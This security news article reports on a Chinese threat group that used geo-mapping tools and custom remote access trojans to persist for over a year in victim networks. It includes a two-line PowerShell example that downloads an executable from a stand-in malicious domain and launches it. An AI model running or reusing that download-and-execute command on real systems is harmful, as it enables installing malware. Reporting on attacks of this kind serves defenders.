Chinese Hackers Leverage Geo-Mapping Tool to Maintain Year-Long Persistence

The emergence of a sophisticated malware campaign leveraging geo-mapping technology has put critical infrastructure and enterprise networks on high alert.

First observed targeting sectors across Asia and North America, the malware was traced to a group of Chinese threat actors employing advanced stealth tactics to sustain prolonged network penetration.

Attackers harnessed a unique blend of legitimate mapping utilities and customized remote access Trojans (RATs), allowing them to skirt detection and exploit geographic data for lateral movement within compromised environments.

Initial infection occurred through spear-phishing emails laced with trojanized document attachments. The malicious payload, once activated, executed scripts that covertly downloaded mapping components and command modules from attacker-controlled servers.

The infection chain embedded itself within trusted local services—often using digital certificates mimicking known vendors—thereby thwarting basic endpoint and network defenses.

Breaches documented by Reliaquest researchers revealed an emphasis on blending into existing network traffic, with payloads engineered to appear as legitimate geographic information software updates or add-ons.

Reliaquest analysts noted the malware’s remarkable longevity, with forensic traces showing persistence for over twelve months on several victim networks.

Investigators highlighted the adversaries’ methodical use of geo-mapping metadata, which enabled targeted surveillance and resource mapping, helping attackers evade geofencing-based security controls and remain undetected for extended periods.

Embedded Scripts and Custom RAT Deployment

Central to the malware’s success was its flexible infection routine. The threat actors embedded PowerShell and VBScript code snippets into Microsoft Office documents, ensuring automatic execution upon opening.

For example:-

$payload = Invoke-WebRequest -Uri "http://maliciousdomain.com/geo-component.exe" -OutFile "C:\temp\geo.exe"
Start-Process "C:\temp\geo.exe"

This script downloads and launches the malicious geo-mapping executable, camouflaged as a software component. Once resident, the malware established persistence via scheduled tasks and registry keys.

The custom RAT modules dynamically referenced local network maps, performing discovery operations and periodic beaconing to C2 infrastructure.

Here the ‘Malware Persistence Workflow,’ illustrates how these scheduled tasks and registry manipulations anchor the threat’s presence over time, ensuring attackers maintain access even after system reboots and basic remediation efforts.

Security teams are urged to monitor for anomalous scheduling routines and network traffic involving mapping utilities, as these behaviors often precede extended compromises.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.